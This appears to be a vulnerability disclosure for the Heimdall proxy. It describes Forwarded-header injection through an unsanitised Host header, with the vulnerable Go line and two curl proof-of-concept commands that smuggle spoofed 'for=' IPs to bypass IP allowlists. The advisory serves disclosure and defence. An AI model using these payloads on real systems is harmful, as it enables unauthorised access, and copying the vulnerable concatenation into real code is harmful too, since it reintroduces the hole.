Heimdall: Forwarded Header Injection via Unsanitized Host Header in Proxy Mode

Summary

When Heimdall operates in proxy mode, it constructs the Forwarded HTTP header after executing the matched rule pipeline by inserting the incoming request's Host header value directly into the header string without sanitizing commas or semicolons. This allows an attacker to inject additional parameters into the Forwarded header, potentially spoofing IP addresses for upstream services.

Vulnerable Code

File: proxy/request_context.go (line 201)

entry := "for=" + clientIP + ";host=" + in.Host + ";proto=" + proto

Go's net/http allows commas and semicolons in Host header values. No sanitization is applied before string concatenation.

PoC

# Inject a spoofed IP into the Forwarded header
curl -s -H "Host: evil.com,for=127.0.0.1" \
  "http://TARGET:PORT/protected-resource"

This produces the following Forwarded header sent to the upstream service:

Forwarded: for=1.2.3.4;host=evil.com, for=127.0.0.1;proto=http

Upstream services that parse the Forwarded header according to RFC 7239 will see two entries. If the service trusts the last or any for= value, the attacker successfully spoofs 127.0.0.1 as the client IP.

# More targeted attack: spoof to bypass IP allowlist
curl -s -H "Host: legit.com;for=10.0.0.1;proto=https,for=192.168.1.1" \
  "http://TARGET:PORT/admin-panel"

Impact

• IP spoofing: Upstream services behind Heimdall may trust the injected for= value, believing the request originates from an internal/trusted IP
• Access control bypass: Applications that restrict access based on IP address by themselves, without using the corresponding heimdall capabilities (e.g., admin panels, internal APIs), can be bypassed
• Affects all proxy-mode deployments where upstream services parse the Forwarded header.